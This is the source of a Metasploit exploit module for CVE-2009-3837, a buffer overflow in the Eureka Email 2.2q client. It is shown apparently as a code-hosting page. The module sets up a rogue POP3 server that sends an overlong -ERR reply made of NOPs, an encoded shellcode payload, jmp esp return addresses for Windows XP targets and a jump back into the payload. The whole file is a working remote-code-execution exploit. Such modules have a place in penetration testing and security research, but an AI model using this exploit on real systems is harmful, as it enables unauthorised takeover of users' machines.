metasploit-framework/modules/exploits/windows/misc/eureka_mail_err.rb

98 lines
2.7 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow',
# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
'Description' => %q{
This module exploits a buffer overflow in the Eureka Email 2.2q
client that is triggered through an excessively long ERR message.
NOTE: this exploit isn't very reliable. Unfortunately reaching the
vulnerable code can only be done when manually checking mail (Ctrl-M).
Checking at startup will not reach the code targeted here.
},
'Author' =>
[
'Francis Provencher (Protek Research Labs)',
'Dr_IDE',
'dookie',
'jduck'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-3837' ],
[ 'OSVDB', '59262' ],
[ 'EDB', '10235' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 22 2009'
))
register_options(
[
OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
# the offset to eip depends on the local ip address string length...
already = "Your POP3 server had a problem.\n"
already << datastore['LHOST']
already << " said:\n\n -ERR "
space = (512+256+4) - already.length
buffer = "-ERR "
buffer << make_nops(space - payload.encoded.length)
buffer << payload.encoded
buffer << [target.ret].pack('V')
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
buffer << "\r\n"
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
client.put(buffer)
handler
service.close_client(client)
end
end